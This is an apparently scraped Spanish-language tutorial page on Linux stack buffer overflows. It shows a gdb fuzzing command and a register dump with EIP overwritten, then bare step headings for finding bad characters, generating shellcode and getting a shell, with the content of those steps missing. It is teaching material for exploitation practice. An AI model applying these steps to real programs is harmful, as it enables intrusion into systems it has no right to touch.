💿Buffer Overflow en Linux
Es una vulnerabilidad de seguridad en la que un programa, al escribir datos en un buffer de memoria, sobrepasa los límites del buffer y sobreescribe la memoria, pudiendo, por ejemplo, ejecutar código.
Buffer Overflow en Linux
gdb -q leave_msg # O programa que contenga el host
run $(python -c "print '\x55' * 1200")1. Subir el 1200 hasta que de un error
(gdb) info registers
eax 0x1 1
ecx 0xffffd6c0 -10560
edx 0xffffd06f -12177
ebx 0x55555555 1431655765
esp 0xffffcfd0 0xffffcfd0
ebp 0x55555555 0x55555555 # <---- EBP overwritten
esi 0xf7fb5000 -134524928
edi 0x0 0
eip 0x55555555 0x55555555 # <---- EIP overwritten
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 992. Saber el número exacto en el que da el fallo
3. Determinar la longitud del shellcode
4. Identificar Bad Characters:
5. GDB Breakpoint:
6. Ver el Stack:
Código final sin ningún null byte:
Los Bad Characters detectados son:
7. Generando el shellcode:
8. Dirección de memoria donde queremos escribir nuestro payload:
9. Exploit final:
10. Recibimos la shell:
Última actualización